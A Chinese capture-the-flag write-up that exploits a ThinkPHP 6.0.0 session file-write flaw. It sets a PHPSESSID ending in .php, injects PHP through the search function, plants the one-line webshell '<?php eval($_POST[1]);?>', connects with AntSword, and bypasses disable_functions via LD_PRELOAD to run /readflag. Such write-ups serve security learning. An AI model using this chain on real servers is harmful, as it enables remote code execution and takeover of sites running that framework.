这个网站的功能很简单:

1
2
3
4
5
home/member/index - 显示搜索历史
home/member/login - 登录功能
home/member/register - 注册功能
home/member/search - 搜索功能
home/member/logout - 登出功能

然后其他更多的信息很难找到了,所以扫一下网站目录看看会不会有什么源码泄露出来:

1

下载这个www.zip文件。解压后发现其实是基于thinkphp框架开发的,那么这个考点其实就是框架漏洞。在composer.json文件中确定thinkphp框架的版本是6.0.0

2

接下来搜索一下thinkphp 6.0.0版本的漏洞,发现除了反序列化漏洞之外,最多的就是一个任意文件操作漏洞

3

这个漏洞的成因主要是因为对session相关文件操作不当导致的,打算这两天分析一下。

然后再来看看源码,网站的主要功能都写在了app\home\controller\Member.php文件中:

1
2
3
4
5
6
7
index() - 首页
login() - 登录
register() - 注册
logout() - 登出
updateUser() - 修改用户名
rePassword() - 修改密码
search() - 搜索

在这7个函数中,只有两个函数和session设置和写入操作有关,首先是login()函数:

10

登录的时候先根据usernamepassword从数据库中获取$userId信息,如果该$userId不为空,则新建一个session文件,写入$userId。这里是调用的thinkphp自己实现的session()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// vendor\topthink\framework\src\helper.php
if (!function_exists('session')) {
/**
* Session管理
* @param string $name session名称
* @param mixed $value session值
* @return mixed
*/
function session($name = '', $value = '')
{
if (is_null($name)) {
// 清除
Session::clear();
} elseif ('' === $name) {
return Session::all();
} elseif (is_null($value)) {
// 删除
Session::delete($name);
} elseif ('' === $value) {
// 判断或获取
return 0 === strpos($name, '?') ? Session::has(substr($name, 1)) : Session::get($name);
} else {
// 设置
Session::set($name, $value);
}
}
}

但是login()函数中的$userId是从数据库中取出的,不是用户可控的。然后看search()函数,发现它会向session文件中写入post请求参数中值:

9

所以这道题的解法是这样的:

  1. 先在home/member/login设置PHPSESSID1234567890123456789012345678.php,整个文件名长度必须为32位:

    11

    生成的session文件在/runtime/session目录下,并带有前缀sess_

  2. 通过搜索功能向session文件中写入<?php phpinfo();?>

    8

  3. 收集phpinfo信息得到:

    1
    2
    3
    4
    5
    php version:
    PHP Version 7.3.11

    disable_functions:
    passthru,mail,error_log,mb_send_mail,imap_mail,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

    这里所有的可执行系统命令的函数都被禁掉了,所以要绕过disable_functions,而且这里php的版本也不是7.4,所以不能利用新特性。那就用做普通的解法,利用LD_PRELOAD绕过。

  4. 写入一句话木马到session文件1234567890123456789012345678.php中:

    7

  5. 连接蚁剑。

    url地址:http://server.ip/runtime/session/sess_1234567890123456789012345678.php

    连上去后发现/flag/readflag

    4

    其中/readflag是一个二进制文件,所以我们的目标就是执行/readflag文件。

    顺便可以看到/var/www/html/runtime/session/sess_1234567890123456789012345678.php中的内容是这样的:

    1
    a:2:{s:3:"UID";i:1;s:6:"Record";s:62:"<?php phpinfo();?>,<?php phpinfo();?>,<?php eval($_POST[1]);?>";}
  6. 为了绕过disable_functions,上传exp脚本到/tmp目录下:

    5

    这里11行修改为/readflag

  7. 读取flag:

    6